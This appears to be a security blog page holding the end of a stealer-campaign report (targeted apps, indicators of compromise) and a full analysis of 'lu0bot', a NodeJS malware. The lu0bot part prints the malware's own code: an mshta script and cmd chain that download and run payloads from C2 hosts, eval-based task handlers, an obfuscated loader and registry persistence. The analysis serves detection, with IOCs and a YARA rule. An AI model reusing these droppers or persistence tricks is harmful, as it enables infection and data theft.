  • FTP Client: FileZilla, GoFTP, UltraFXP, NetDrive, FTP Now, DeluxeFTP, FTPGetter, Steed, Estsoft ALFTP, BitKinex, Notepad++ plugins NppFTP, FTPBox, INSoftware NovaFTP, and BlazeFtp.
  • Email Clients: Mailbird, eM Client, The Bat!, PMAIL, Opera Mail, yMail2, TrulyMail, Pocomail, and Thunderbird.
  • VPN Service: NordVPN and AzireVPN.
  • Password Manager: Bitwarden, NordPass, 1Password, and RoboForm.
  • Other: AnyDesk, MySQL Workbench, GHISLER, Sticky Notes, Notezilla , To-Do DeskList, snowflake-ssh, and GmailNotifierPro.
  • The following Chrome Extensions:
nphplpgoakhhjchkkhmiggakijnkhfndapbldaphppcdfbdnnogdikheafliigcf
fldfpgipfncgndfolcbkdeeknbbbnhccckdjpkejmlgmanmmdfeimelghmdfeobe
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bcopgchhojmggmffilplmbdicgaihlkpnihlebdlccjjdejgocpogfpheakkpodb
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kpfopkelmapcoipemfendmdcghnegimnoiaanamcepbccmdfckijjolhlkfocbgj
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jfdlamikmbghhapbgfoogdffldioobglgaedmjdfmmahhbjefcbgaolhhanlaolb
nkbihfbeogaeaoehlefnkodbefgpgknnimloifkgjagghnncjkhggdhalmcnfklk
aiifbnbfobpmeekipheeijimdpnlpgppoeljdldpnmdbchonielidgobddffflal
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nhnkbkgjikgcigadomkphalanndcapjknofkfblpeailgignhkbnapbephdnmbmn
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cihmoadaighcejopammfbmddcmdekcjechgfefjpcobfbnpmiokfjjaglahmnded
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djclckkglechooblngghdinmeemkbgcicfhdojbkjhnklbpkdaibdccddilifddb
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lgmpcpglpngdoalbgeoldeajfclnhafaibegklajigjlbljkhfpenpfoadebkokl
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kkhmbjifakpikpapdiaepgkdephjgnmamjdmgoiobnbombmnbbdllfncjcmopfnc
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nlgbhdfgdhgbiamfdfmbikcdghidoadddngmlblcodfobpdpecaadgfbcggfjfnm
infeboajgfhgbjpjbeppbkgnabfdkdaflpilbniiabackdjcionkobglmddfbcjo
ppbibelpcjmhbdihakflkdcoccbgbkpobhhhlbepdkbapadjdnnojkbgioiodbic
klghhnkeealcohjjanjjdaeeggmfmlpljnkelfanjkeadonecabehalmbgpfodjm
enabgbdfcbaehmbigakijjabdpdnimlgjgaaimajipbpdogpdglhaphldakikgef
mmmjbcfofconkannjonfmjjajpllddbgkppfdiipphfccemcignhifpjkapfbihd
bifidjkcdpgfnlbcjpdkdcnbiooooblgloinekcabhlmhjjbocijdoimmejangoa
nebnhfamliijlghikdgcigoebonmoibmanokgmphncpekkhclmingpimjmcooifb
fcfcfllfndlomdhbehjjcoimbgofdncgcnncmdhjacpkmjmkcafchppbnpnhdmon
ojggmchlghnjlapmfbnjholfjkiidbchmkpegjkblkkefacfnmkajcjmabijhclg

Conclusion

This campaign primarily targets CVE-2024-21412 to spread LNK files for downloading execution files that embed HTA script code within their overlays. The HTA script runs silently, avoiding any pop-up windows, and clandestinely downloads two files: a decoy PDF and an execution file designed to inject shell code, setting the stage for the final stealers.

To mitigate such threats, organizations must educate their users about the dangers of downloading and running files from unverified sources. Continuous innovation by threat actors necessitates a robust and proactive cybersecurity strategy to protect against sophisticated attack vectors. Proactive measures, user awareness, and stringent security protocols are vital components in safeguarding an organization’s digital assets.

Fortinet Protections

The malware described in this report is detected and blocked by FortiGuard Antivirus:

LNK/Agent.OQ!tr
LNK/Agent.BNE!tr
LNK/Agent.ACX!tr
W32/Agent.DAT!tr
W64/Agent.EDE6!tr
W32/Agent.AAN!tr
W64/Agent.A8D2!tr

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each of these solutions. As a result, customers who have these products with up-to-date protections are protected.

The FortiGuard Web Filtering Service blocks the C2 servers and downloads URLs.

FortiGuard Labs provides IPS signature against attacks exploiting CVE-2024-21412:

MS.Windows.SmartScreen.CVE-2024-21412.Security.Feature.Bypass

We also suggest that organizations go through Fortinet’s free NSE training module: NSE 1 – Information Security Awareness. This module is designed to help end users learn how to identify and protect themselves from phishing attacks.

FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.

If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.

IOCs

IP Addresses

62[.]133[.]61[.]26

62[.]133[.]61[.]43

5[.]42[.]107[.]78

Hostnames

21centuryart[.]com

scratchedcards[.]com

proffyrobharborye[.]xyz

answerrsdo[.]shop

pcvcf[.]xyz

pcvvf[.]xyz

pdddk[.]xyz

pdddj[.]xyz

pddbj[.]xyz

pbpbj[.]xyz

pbdbj[.]xyz

ptdrf[.]xyz

pqdrf[.]xyz

Files

e15b200048fdddaedb24a84e99d6d7b950be020692c02b46902bf5af8fb50949

547b6e08b0142b4f8d024bac78eb1ff399198a8d8505ce365b352e181fc4a544

bd823f525c128149d70f633e524a06a0c5dc1ca14dd56ca7d2a8404e5a573078

982338768465b79cc8acd873a1be2793fccbaa4f28933bcdf56b1d8aa6919b47

bc6933a8fc324b907e6cf3ded3f76adc27a6ad2445b4f5db1723ac3ec86ed10d

59d2c2ca389ab1ba1fefa4a06b14ae18a8f5b70644158d5ec4fb7a7eac4c0a08

8568226767ac2748eccc7b9832fac33e8aa6bfdc03eafa6a34fb5d81e5992497

4043aa37b5ba577dd99f6ca35c644246094f4f579415652895e6750fb9823bd9

0604e7f0b4f7790053991c33359ad427c9bf74c62bec3e2d16984956d0fb9c19

8c6d355a987bb09307e0af6ac8c3373c1c4cbfbceeeb1159a96a75f19230ede6

de6960d51247844587a21cc0685276f966747e324eb444e6e975b0791556f34f

6c779e427b8d861896eacdeb812f9f388ebd43f587c84a243c7dab9ef65d151c

08c75c6a9582d49ea3fe780509b6f0c9371cfcd0be130bc561fae658b055a671

abc54ff9f6823359071d755b151233c08bc2ed1996148ac61cfb99c7e8392bfe

643dde3f461907a94f145b3cd8fe37dbad63aec85a4e5ed759fe843b9214a8d2

Posted in Exploits, ProgrammingTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Lu0bot – An unknown NodeJS malware using UDP

Posted on August 30, 2024 - August 30, 2024 by Maq Verma

In February/March 2021, A curious lightweight payload has been observed from a well-known load seller platform. At the opposite of classic info-stealers being pushed at an industrial level, this one is widely different in the current landscape/trends. Feeling being in front of a grey box is somewhat a stressful problem, where you have no idea about what it could be behind and how it works, but in another way, it also means that you will learn way more than a usual standard investigation.

I didn’t feel like this since Qulab and at that time, this AutoIT malware gave me some headaches due to its packer. but after cleaning it and realizing it’s rudimentary, the challenge was over. In this case, analyzing NodeJS malware is definitely another approach.

I will just expose some current findings of it, I don’t have all answers, but at least, it will door opened for further researches.

Disclaimer: I don’t know the real name of this malware.

Minimalist C/C++ loader

When lu0bot is deployed on a machine, the first stage is a 2.5 ko lightweight payload which has only two section headers.

Curious PE Sections

Written in C/C++, only one function has been developped.

void start()
{
  char *buff; 

  buff = CmdLine;
  do
  {
    buff -= 'NPJO';      // The key seems random after each build
    buff += 4;        
  }
  while ( v0 < &CmdLine[424] );
  WinExec(CmdLine, 0);   // ... to the moon ! \o/
  ExitProcess(0);
}

This rudimentary loop is focused on decrypting a buffer, unveiling then a one-line JavaScript code executed through WinExec()

Simple sub loop for unveiling the next stage

Indeed, MSHTA is used executing this malicious script. So in term of monitoring, it’s easy to catch this interaction.

mshta "javascript: document.write();
42;
y = unescape('%312%7Eh%74t%70%3A%2F%2F%68r%692%2Ex%79z%2Fh%72i%2F%3F%321%616%654%62%7E%321%32').split('~');
103;
try {
    x = 'WinHttp';
    127;
    x = new ActiveXObject(x + '.' + x + 'Request.5.1');
    26;
    x.open('GET', y[1] + '&a=' + escape(window.navigator.userAgent), !1);
    192;
    x.send();
    37;
    y = 'ipt.S';
    72;
    new ActiveXObject('WScr' + y + 'hell').Run(unescape(unescape(x.responseText)), 0, !2);
    179;
} catch (e) {};
234;;
window.close();"

Setting up NodeJs

Following the script from above, it is designed to perform an HTTP GET request from a C&C (let’s say it’s the first C&C Layer). Then the response is executed as an ActiveXObject.

new ActiveXObject('WScr' + y + 'hell').Run(unescape(unescape(x.responseText)), 0, !2);

Let’s inspect the code (response) step by step

cmd /d/s/c cd /d "%ALLUSERSPROFILE%" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe [...]
  • Set the console into %ALLUSERPROFILE% path
  • Create fake folder DNTException
[...] || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);
           x.Open("GET",unescape(WScript.Arguments(0^)^),false^);
           x.Send(^);
           b = new ActiveXObject("ADODB.Stream"^);
           b.Type=1;
           b.Open(^);
           b.Write(x.ResponseBody^);
           b.SaveToFile(WScript.Arguments(1^),2^); 
           > get1618489872131.txt 
           & cscript /nologo /e:jscript get1618489872131.txt "http://hri2.xyz/hri/?%HEXVALUE%&b=%HEXVALUE%" node.cab 
           & expand node.cab node.exe 
           & del get1618489872131.txt node.cab 
) [...]
  • Generate a js code-focused into downloading a saving an archive that will be named “node.cab”
  • Decompress the cab file with expand command and renamed it “node.exe”
  • Delete all files that were generated when it’s done
[...] & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1618489872131.txt [...]
  • Recreate a js script that will execute again some code
[...] cscript /nologo /e:jscript get1618489872131.txt "node -e eval(FIRST_STAGE_NODEJS_CODE)" & del get1618489872131.txt [...]

In the end, this whole process is designed for retrieving the required NodeJS runtime.

Lu0bot nodejs loader initialization process

Matryoshka Doll(J)s

Luckily the code is in fact pretty well written and comprehensible at this layer. It is 20~ lines of code that will build the whole malware thanks to one and simple API call: eval.

implistic lu0bot nodejs loader that is basically the starting point for everything


From my own experience, I’m not usually confronted with malware using UDP protocol for communicating with C&C’s. Furthermore, I don’t think in the same way, it’s usual to switch from TCP to UDP like it was nothing. When I analyzed it for the first time, I found it odd to see so many noisy interactions in the machine with just two HTTP requests. Then I realized that I was watching the visible side of a gigantic iceberg…

Well played OwO

For those who are uncomfortable with NodeJS, the script is designed to sent periodically UDP requests over port 19584 on two specific domains. When a message is received, it is decrypted with a standard XOR decryption loop, the output is a ready-to-use code that will be executed right after with eval. Interestingly the first byte of the response is also part of the key, so it means that every time a response is received, it is likely dynamically different even if it’s the same one.

In the end, lu0bot is basically working in that way

lu0bot nodejs malware architecture

After digging into each code executed, It really feels that you are playing with matryoshka dolls, due to recursive eval loops unveiling more content/functions over time. It’s also the reason why this malware could be simple and complex at the same time if you aren’t experienced with this strategy.

The madness philosophy behind eval() calls

For adding more nonsense it is using different encryption algorithms whatever during communications or storing variables content:

  • XOR
  • AES-128-CBC
  • Diffie-Hellman
  • Blowfish

Understanding Lu0bot variables

S (as Socket)

  • Fundamental Variable
  • UDP communications with C&C’s
  • Receiving main classes/variables
  • Executing “main branches” code
function om1(r,q,m)      # Object Message 1
 |--> r # Remote Address Information
 |--> q # Query 
 |--> m # Message

function c1r(m,o,d)       # Call 1 Response
 |--> m # Message
 |--> o # Object
 |--> d # Data

function sc/c1/c2/c3(m,r) # SetupCall/Call1/Call2/Call3
 |--> m # Message
 |--> r # Remote Address Information

function ss(p,q,c,d)      # ScriptSetup / SocketSetup
 |--> p # Personal ID
 |--> q # Query 
 |--> c # Crypto/Cipher
 |--> d # Data

function f()              # UDP C2 communications

KO (as Key Object ?)

  • lu0bot mastermind
  • Containing all bot information
    • C&C side
    • Client side
  • storing fundamental handle functions for task manager(s)
    • eval | buffer | file
ko {
    pid:     # Personal ID
    aid:     # Address ID (C2)
    q:       # Query
    t:       # Timestamp
    lq: {
             # Query List
    },
    pk:      # Public Key
    k:       # Key
    mp: {},  # Module Packet/Package 
    mp_new: [Function: mp_new],        # New Packet/Package in the queue
    mp_get: [Function: mp_get],        # Get Packet/Package from the queue
    mp_count: [Function: mp_count],    # Packer/Package Counter
    mp_loss: [Function: mp_loss],      # ???
    mp_del: [Function: mp_del],        # Delete Packet/Package from the queue
    mp_dtchk: [Function: mp_dtchk],    # Data Check
    mp_dtsum: [Function: mp_dtsum],    # Data Sum
    mp_pset: [Function: mp_pset],      # Updating Packet/Package from the queue
    h: {                               # Handle
        eval: [Function],              
        bufwrite: [Function],
        bufread: [Function],
        filewrite: [Function],
        fileread: [Function]
    },
    mp_opnew: [Function: mp_opnew],    # Create New
    mp_opstat: [Function: mp_opstat],  # get stats from MP
    mp_pget: [Function],               # Get Packet/Package from MP
    mp_pget_ev: [Function]             # Get Packet/Package Timer Intervals
}

MP

  • Module Package/Packet/Program ?
  • Monitoring and logging an executed task/script.
mp:                              
   { key:                        # Key is Personal ID
      { id:  ,                   # Key ID (Event ID)
        pid: ,                   # Personal ID
        gen:  ,                  # Starting Timestamp
        last: ,                  # Last Tick Update
        tmr: [Object],           # Timer
        p: {},                   # Package/Packet
        psz:                     # Package/Packet Size
        btotal:                  # ???
        type: 'upload',          # Upload/Download type
        hn: 'bufread',           # Handle name called
        target: 'binit',         # Script name called (From C&C)
        fp: ,                    # Buffer
        size: ,                  # Size
        fcb: [Function],         # FailCallBack
        rcb: [Function],         # ???
        interval: 200,           # Internval Timer
        last_sev: 1622641866909, # Last Timer Event
        stmr: false              # Script Timer
}

Ingenious trick for calling functions dynamically

Usually, when you are reversing malware, you are always confronted (or almost every time) about maldev hiding API Calls with tricks like GetProcAddress or Hashing.

function sc(m, r) {
    if (!m || m.length < 34) return;
    m[16] ^= m[2];
    m[17] ^= m[3];
    var l = m.readUInt16BE(16);
    if (18 + l > m.length) return;
    var ko = s.pk[r.address + ' ' + r.port];
    var c = crypto.createDecipheriv('aes-128-cbc', ko.k, m.slice(0, 16));
    m = Buffer.concat([c.update(m.slice(18, 18 + l)), c.final()]);
    m = {
        q: m.readUInt32BE(0),
        c: m.readUInt16BE(4),
        ko: ko,
        d: m.slice(6)
    };
    l = 'c' + m.c;        // Function name is now saved
    if (s[l]) s[l](m, r);
}


As someone that is not really experienced in the NodeJS environment, I wasn’t really triggering the trick performed here but for web dev, I would believe this is likely obvious (or maybe I’m wrong). The thing that you need to really take attention to is what is happening with “c” char and m.c.

By reading the official NodeJs documemtation: The Buffer.readUInt16BE() method is an inbuilt application programming interface of class Buffer within the Buffer module which is used to read 16-bit value from an allocated buffer at a specified offset.

Buffer.readUInt16BE( offset )

In this example it will return in a real case scenario the value “1”, so with the variable l, it will create “c1” , a function stored into the global variable s. In the end, s[“c1”](m,r) is also meaning s.c1(m,r).

A well-done task manager architecture

Q variable used as Macro PoV Task Manager

  • “Q” is designed to be the main task manager.
  • If Q value is not on LQ, adding it into LQ stack, then executing the code content (with eval) from m (message).
if (!lq[q]) {                               // if query not in the queue, creating it
    lq[q] = [0, false];
    setTimeout(function() {
        delete lq[q]
    }, 30000);
    try {
        for (var p = 0; p < m.d.length; p++)
            if (!m.d[p]) break;
        var es = m.d.slice(0, p).toString(); // es -> Execute Script
        m.d = m.d.slice(p + 1);
        if (!m.d.length) m.d = false;
        eval(es)                             // eval, our sweat eval...
    } catch (e) {
        console.log(e);
    }
    return;
}
if (lq[q][0]) {
    s.ss(ko.pid, q, 1, lq[q][1]);
}

MP variable used as Micro PoV Task Manager

  • “MP” is designed to execute tasks coming from C&C’s.
  • Each task is executed independantly!
function mp_opnew(m) {

    var o = false;                       // o -> object
    try {
        o = JSON.parse(m.d);             // m.d (message.data) is saved into o
    } catch (e) {}
    if (!o || !o.id) return c1r(m, -1);  // if o empty, or no id, returning -1 
    if (!ko.h[o.hn]) return c1r(m, -2);  // if no functions set from hn, returning -2
    var mp = ko.mp_new(o.id);            // Creating mp ---------------------------
    for (var k in o) mp[k] = o[k];                                                |
    var hr = ko.h[o.hn](mp);                                                      |
    if (!hr) {                                                                    |
        ko.mp_del(mp);                                                            |
        return c1r(m, -3)                // if hr is incomplete, returning -3     |
    }                                                                             |
    c1r(m, hr);                          // returning hr                          |                                                                                             
}                                                                                 |
                                                                                  |
function mp_new(id, ivl) {    <----------------------------------------------------
    var ivl = ivl ? ivl : 5000;          // ivl -> interval
    var now = Date.now();        
    if (!lmp[id]) lmp[id] = {            // mp list 
        id: id,
        pid: ko.pid,
        gen: now,
        last: now,
        tmr: false,
        p: {},
        psz: 0,
        btotal: 0
    };
    var mp = lmp[id];
    if (!mp.tmr) mp.tmr = setInterval(function() {
        if (Date.now() - mp.last > 1000 * 120) {
            ko.mp_del(id);
            return;
        }
        if (mp.tcb) mp.tcb(mp);
    }, ivl);
    mp.last = now;
    return mp;
}

O (Object) – C&C Task

This object is receiving tasks from the C&C. Technically, this is (I believed) one of the most interesting variable to track with this malware..

  • It contains 4 or 5 values
    • type.
      • upload
      • download
    • hn : Handle Name
    • sz: Size (Before Zlib decompression)
    • psz: ???
    • target: name of the command/script received from C&C
// o content
{ 
        id: 'XXXXXXXXXXXXXXXXX',
        type: 'upload',
        hn: 'eval',
        sz: 9730,
        psz: 1163,
        target: 'bootstrap-base.js',
} 

on this specific scenario, it’s uploading on the bot a file from the C&C called “bootstrap-base.js” and it will be called with the handle name (hn) function eval.

Summary

Aggressive telemetry harvester

Usually, when malware is gathering information from a new bot it is extremely fast but here for exactly 7/8 minutes your VM/Machine is literally having a bad time.

Preparing environment

Gathering system information

Process info
tasklist /fo csv /nh
wmic process get processid,parentprocessid,name,executablepath /format:csv
qprocess *
Network info
ipconfig.exe /all
route.exe print
netstat.exe -ano
systeminfo.exe /fo csv
Saving Environment & User path(s)
Saving environment variables EI_HOME (EI = EINFO)
EI_DESKTOP
  |--> st.env['EI_HOME'] + '\\Desktop';
EI_DOCUMENTS 
  |--> st.env['EI_HOME'] + '\\Documents';
  |--> st.env['EI_HOME'] + '\\My Documents';
EI_PROGRAMFILES1
  |--> var tdir1 = exports.env_get('ProgramFiles');
  |--> var tdir2 = exports.env_get('ProgramFiles(x86)');
  |--> st.env['EI_HOME'].substr(0,1) + '\\Program Files (x86)';
EI_PROGRAMFILES2
  |--> var tdir3 = exports.env_get('ProgramW6432');
  |--> st.env['EI_HOME'].substr(0,1) + '\\Program Files';
EI_DOWNLOADS
  |-->  st.env['EI_HOME'] + '\\Downloads';
Console information

These two variables are basically conditions to check if the process was performed. (ISCONPROBED is set to true when the whole thing is complete).

env["ISCONPROBED"] = false;
env["ISCONSOLE"] = true;

Required values for completing the task..

env["WINDIR"] = val;
env["TEMP"] = val;
env["USERNAME_RUN"] = val;
env["USERNAME"] =  val;
env["USERNAME_SID"] = s;
env["ALLUSERSPROFILE"] = val;
env["APPDATA"] = val;

Checking old windows versions

Curiously, it’s checking if the bot is using an old Microsoft Windows version.

  • NT 5.X – Windows 2000/XP
  • NT 6.0 – Vista
function check_oldwin(){
    var osr = os.release();

    if(osr.indexOf('5.')===0 || osr.indexOf('6.0')===0) return osr;

    return false;
}
exports.check_oldwin = check_oldwin;

This is basically a condition after for using an alternative command with pslist

function ps_list_alt(cb){
    var cmd = ['qprocess','*'];
    if(check_oldwin()) cmd.push('/system');
   ....

Checking ADS streams for hiding content into it for later

Checking Alternative Data Streams

Harvesting functions 101

bufstore_save(key,val,opts)         # Save Buffer Storage 
bufstore_get(key,clear)             # Get Buffer Storage 
strstrip(str)                       # String Strip
name_dirty_fncmp(f1,f2)             # Filename Compare (Dirty)
dirvalidate_dirty(file)             # Directory Checking (Dirty)
file_checkbusy(file)                # Checking if file is used
run_detached(args,opts,show)        # Executing command detached
run(args,opts,cb)                   # Run command
check_oldwin()                      # Check if Bot OS is NT 5.0 or NT 6.0
ps_list_alt(cb)                     # PS List (Alternative way)
ps_list_tree(list,results,opts,pid) # PS List Tree
ps_list(arg,cb)                     # PS list 
ps_exist(pid)                       # Check if PID Exist
ps_kill(pid)                        # Kill PID
reg_get_parse(out)                  # Parsing Registry Query Result
reg_hkcu_get()                      # Get HKCU
reg_hkcu_replace(path)              # Replace HKCU Path
reg_get(key,cb)                     # Get Content
reg_get_dir(key,cb)                 # Get Directory
reg_get_key(key,cb)                 # Get SubKey
reg_set_key(key,value,type,cb)      # Set SubKey
reg_del_key(key,force,cb)           # Del SubKey
get_einfo_1(ext,cb)                 # Get EINFO Step 1
dirlistinfo(dir,limit)              # Directory Listing info 
get_einfo_2(fcb)                    # Get EINFO Step 2
env_get(key,kv,skiple)              # Get Environment
console_get(cb)                     # Get Console environment variables
console_get_done(cb,err)            # Console Try/Catch callback
console_get_s0(ccb)                 # Console Step 0
console_get_s1(ccb)                 # Console Step 1
console_get_s2(ccb)                 # Console Step 2
console_get_s3(ccb)                 # Console Step 3
ads_test()                          # Checking if bot is using ADS streams
diskser_get_parse(dir,out)          # Parse Disk Serial command results
diskser_get(cb)                     # Get Disk Serial
prepare_dirfile_env(file,cb)        # Prepare Directory File Environment
prepare_file_env(file,cb)           # Prepare File Environment
hash_md5_var(val)                   # MD5 Checksum
getosinfo()                         # Get OS Information
rand(min, max)                      # Rand() \o/
ipctask_start()                     # IPC Task Start (Interprocess Communication)
ipctask_tick()                      # IPC Task Tick (Interprocess Communication)
baseinit_s0(cb)                     # Baseinit Step 0
baseinit_s1(cb)                     # Baseinit Step 1
baseinit_s2(cb)                     # Baseinit Step 2
baseinit_einfo_1_2(cb)              # Baseinit EINFO

Funky Persistence

The persistence is saved in the classic HKCU Run path

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Intel Management Engine Components 4194521778"="wscript.exe /t:30 /nologo /e:jscript \"C:\ProgramData\Intel\Intel(R) Management Engine Components\Intel MEC 750293792\" \"C:\ProgramData\Intel\Intel(R) Management Engine Components\" 2371015226"

Critical files are stored into a fake “Intel” folder in ProgramData.

ProgramData
    |-- Intel
        |--  Intel(R) Management Engine Components
            |--> Intel MEC 246919961
            |--> Intel MEC 750293792

Intel MEC 750293792

new ActiveXObject("WScript.shell").Run('"C:\ProgramData\DNTException\node.exe" "' + WScript.Arguments(0) + '\Intel MEC 246919961" ' + WScript.Arguments(1), 0, false);

Intel MEC 246919961

var c = new Buffer((process.argv[2] + 38030944).substr(0, 8));
c = require("crypto").createDecipheriv("bf", c, c);
global["\x65\x76" + "\x61\x6c"](Buffer.concat([c.update(new Buffer("XSpPi1eP/0WpsZRcbNXtfiw8cHqIm5HuTgi3xrsxVbpNFeB6S6BXccVSfA/JcVXWdGhhZhJf4wHv0PwfeP1NjoyopLZF8KonEhv0cWJ7anho0z6s+0FHSixl7V8dQm3DTlEx9zw7nh9SGo7MMQHRGR63gzXnbO7Z9+n3J75SK44dT4fNByIDf4rywWv1+U7FRRfK+GPmwwwkJWLbeEgemADWttHqKYWgEvqEwrfJqAsKU/TS9eowu13njTAufwrwjqjN9tQNCzk5olN0FZ9Cqo/0kE5+HWefh4f626PAubxQQ52X+SuUqYiu6fiLTNPlQ4UVYa6N61tEGX3YlMLlPt9NNulR8Q1phgogDTEBKGcBlzh9Jlg3Q+2Fp84z5Z7YfQKEXkmXl/eob8p4Putzuk0uR7/+Q8k8R2DK1iRyNw5XIsfqhX3HUhBN/3ECQYfz+wBDo/M1re1+VKz4A5KHjRE+xDXu4NcgkFmL6HqzCMIphnh5MZtZEq+X8NHybY2cL1gnJx6DsGTU5oGhzTh/1g9CqG6FOKTswaGupif+mk1lw5GG2P5b5w==", "\x62\x61\x73" + "\x65\x36\x34")), c.final()]).toString());

The workaround is pretty cool in the end

  • WScript is launched after waiting for 30s
  • JScript is calling “Intel MEC 750293792”
  • “Intel MEC 750293792” is executing node.exe with arguments from the upper layer
  • This setup is triggering the script “Intel MEC 246919961”
    • the Integer value from the upper layer(s) is part of the Blowfish key generation
    • global[“\x65\x76” + “\x61\x6c”] is in fact hiding an eval call
    • the encrypted buffer is storing the lu0bot NodeJS loader.

Ongoing troubleshooting in production ?

It is possible to see in some of the commands received, some lines of codes that are disabled. Unknown if it’s intended or no, but it’s pretty cool to see about what the maldev is working.

It feels like a possible debugging scenario for understanding an issue.

Outdated NodeJS still living and kickin’

Interestingly, lu0bot is using a very old version of node.exe, way older than could be expected.

node.exe used by lu0bot is an outdated one

This build (0.10.48), is apparently from 2016, so in term of functionalities, there is a little leeway for exploiting NodeJS, due that most of its APIs wasn’t yet implemented at that time.

NodeJs used is from a 2016 build.
I feel old by looking the changelog…

The issue mentioned above is “seen” when lu0bot is pushing and executing “bootstrap-base.js“. On build 0.10.XXX, “Buffer” wasn’t fully implemented yet. So the maldev has implemented missing function(s) on this specific version, I found this “interesting”, because it means it will stay with a static NodeJS runtime environment that won’t change for a while (or likely never). This is a way for avoiding cryptography troubleshooting issues, between updates it could changes in implementations that could break the whole project. So fixed build is avoiding maintenance or unwanted/unexpected hotfixes that could caused too much cost/time consumption for the creator of lu0bot (everything is business \o/).

Interesting module version value in bootstrap-base.js

Of course, We couldn’t deny that lu0bot is maybe an old malware, but this statement needs to be taken with cautiousness.

By looking into “bootstrap-base.js”, the module is apparently already on version “6.0.15”, but based on experience, versioning is always a confusing thing with maldev(s), they have all a different approach, so with current elements, it is pretty hard to say more due to the lack of samples.

What is the purpose of lu0bot ?

Well, to be honest, I don’t know… I hate making suggestions with too little information, it’s dangerous and too risky. I don’t want to lead people to the wrong path. It’s already complicated to explain something with no “public” records, even more, when it is in a programming language for that specific purpose. At this stage, It’s smarter to focus on what the code is able to do, and it is certain that it’s a decent data collector.

Also, this simplistic and efficient NodeJS loader code saved at the core of lu0bot is basically everything and nothing at the same time, the eval function and its multi-layer task manager could lead to any possibilities, where each action could be totally independent of the others, so thinking about features like :

  • Backdoor ?
  • Loader ?
  • RAT ?
  • Infostealer ?

All scenario are possible, but as i said before I could be right or totally wrong.

Where it could be seen ?

Currently, it seems that lu0bot is pushed by the well-known load seller Garbage Cleaner on EU/US Zones irregularly with an average of possible 600-1000 new bots (each wave), depending on the operator(s) and days.

Appendix

IoCs

IP

  • 5.188.206[.]211

lu0bot loader C&C’s (HTTP)

  • hr0[.]xyz
  • hr1[.]xyz
  • hr2[.]xyz
  • hr3[.]xyz
  • hr4[.]xyz
  • hr5[.]xyz
  • hr6[.]xyz
  • hr7[.]xyz
  • hr8[.]xyz
  • hr9[.]xyz
  • hr10[.]xyz

lu0bot main C&C’s (UDP side)

  • lu00[.]xyz
  • lu01[.]xyz
  • lu02[.]xyz
  • lu03[.]xyz

Yara

rule lu0bot_cpp_loader
{
    meta:
        author = "Fumik0_"
        description = "Detecting lu0bot C/C++ lightweight loader"

    strings:
        $hex_1 = {
            BE 00 20 40 00 
            89 F7 
            89 F0
            81 C7 ?? 01 00 00 
            81 2E ?? ?? ?? ?? 
            83 C6 04 
            39 FE 
            7C ?? 
            BB 00 00 00 00 
            53 50 
            E8 ?? ?? ?? ??
            E9 ?? ?? ?? ??
        }
    
    condition:
        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and
        (filesize > 2KB and filesize < 5KB) and 
        any of them
    
}

IoCs

fce3d69b9c65945dcfbb74155f2186626f2ab404e38117f2222762361d7af6e2  Lu0bot loader.exe
c88e27f257faa0a092652e42ac433892c445fc25dd445f3c25a4354283f6cdbf  Lu0bot loader.exe
b8b28c71591d544333801d4673080140a049f8f5fbd9247ed28064dd80ef15ad  Lu0bot loader.exe
5a2264e42206d968cbcfff583853a0e0d4250f078a5e59b77b8def16a6902e3f  Lu0bot loader.exe
f186c2ac1ba8c2b9ab9b99c61ad3c831a6676728948ba6a7ab8345121baeaa92  Lu0bot loader.exe


8d8b195551febba6dfe6a516e0ed0f105e71cf8df08d144b45cdee13d06238ed  response1.bin
214f90bf2a6b8dffa8dbda4675d7f0cc7ff78901b3c3e03198e7767f294a297d  response2.bin
c406fbef1a91da8dd4da4673f7a1f39d4b00fe28ae086af619e522bc00328545  response3.bin

ccd7dcdf81f4acfe13b2b0d683b6889c60810173542fe1cda111f9f25051ef33  Intel MEC 246919961
e673547a445e2f959d1d9335873b3bfcbf2c4de2c9bf72e3798765ad623a9067  Intel MEC 750293792

Example of lu0bot interaction


ko
{ pid: 'XXXXXX',
  aid: '5.188.206.211 19584',
  q: XXXXXXXXXX, 
  t: XXXXXXXXXXXXX,
  lq: 
   { ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 30 00 00 00 00 09 00 00 26 02> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
